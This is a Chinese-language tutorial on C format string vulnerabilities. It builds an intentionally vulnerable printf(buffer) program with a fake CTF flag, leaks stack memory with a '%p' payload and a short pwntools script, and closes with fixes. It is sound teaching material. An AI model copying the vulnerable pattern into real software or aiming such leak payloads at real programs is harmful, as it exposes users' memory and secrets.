在 C 語言開發中,開發者常使用 printf、fprintf、sprintf 等格式化輸出函數。合法的用法應該是:
printf("Hello %s", name);
但如果開發者寫成了以下這種偷懶或不安全的寫法:
printf(user_input); // 危險!直接把使用者輸入當作格式化字串
這就會引發 格式化字串漏洞 (Format String Bug, FSB)。攻擊者可以藉此讀取堆疊或記憶體中的敏感資料(如密碼、Canary、暫存器數值),甚至進一步透過 %n 參數修改記憶體中的任意資料。
printf 會依據傳入的格式化參數(如 %d, %x, %s, %p)去對應暫存器或堆疊上的參數:%p 或 %x:會依序印出堆疊或暫存器上的內容(Hex 格式)。%s:會將堆疊上的數值當作記憶體指標(Pointer),去讀取該指標指向的字串內容。%n:會將目前已經印出的字元總數,寫入到對應指標指向的記憶體變數中!
如果沒有提供足夠的參數給 printf,它就會直接把「堆疊上殘留的數值」當作參數印出來。這就是資訊洩漏的根源。
我們在 WSL 中親自寫一個存在 FSB 漏洞的 C 程式,並觀察如何利用 %p 洩漏堆疊上的機密資料!
在 WSL 終端機中執行以下命令:
# 1. 建立具有格式化字串漏洞的 C 原始碼
cat << 'EOF' > fsb_demo.c
#include <stdio.h>
void vulnerable_function() {
char secret_flag[32] = "picoCTF{f0rm4t_5tr1ng_l34k_99a}";
char buffer[64];
printf("Enter your input: ");
if (fgets(buffer, sizeof(buffer), stdin) != NULL) {
// 嚴重錯誤:直接將 buffer 當作格式化字串輸出!
printf("--- Output Start ---\n");
printf(buffer);
printf("--- Output End ---\n");
}
}
int main() {
printf("=== Format String Bug Demo ===\n");
vulnerable_function();
return 0;
}
EOF
# 2. 編譯 C 程式 (關閉部分防護以便觀察)
gcc -fno-stack-protector fsb_demo.c -o fsb_demo

%p 洩漏記憶體資料執行剛才編譯好的二進位檔,並輸入連續的 %p 來觀看堆疊上的殘留數值:
./fsb_demo
輸入:%p %p %p %p %p %p
預期輸出畫面:
你會發現終端機印出了一連串的記憶體地址(如 0x7ffc...),這些正是堆疊或暫存器上未被清理的變數內容!
如果我們想找出藏在堆疊上的 secret_flag,可以使用重複的 %p 或直接用 %x 配合偏移量去尋找對應位置,或者在 CTF 中透過 Python 自動化腳本進行爆破與提取。
# 創建 day27_fsb_exploit.py
cat << 'EOF' > day27_fsb_exploit.py
from pwn import *
def exploit_fsb():
# 啟動本地二進位程式
p = process('./fsb_demo')
# 透過連續的 %p 嘗試將堆疊上的資料印出
# 在真實題目的堆疊結構中,可以透過調整 %x 或 %s 的位移來精準抓取 Flag
payload = b"%p.%p.%p.%p.%p.%p.%p.%p"
p.recvuntil(b"Enter your input: ")
p.sendline(payload)
output = p.recvall(timeout=1).decode(errors='ignore')
print(f"\n[🎯] 成功擷取洩漏出的堆疊記憶體資訊:\n{output}")
if __name__ == "__main__":
exploit_fsb()
EOF
python3 day27_fsb_exploit.py

今天我們認識了格式化字串漏洞的成因,並透過 printf(buffer) 的不當使用,親眼見證了如何透過 %p 窺探堆疊上的記憶體秘密。
如何防禦格式化字串漏洞?
永遠不要將使用者輸入直接作為格式化參數:寫成 printf("%s", buffer) 即可完美根治。
編譯器警告:現代 GCC 會針對 printf(buffer) 發出 -Wformat 警告,開發時切勿忽略編譯警告訊息。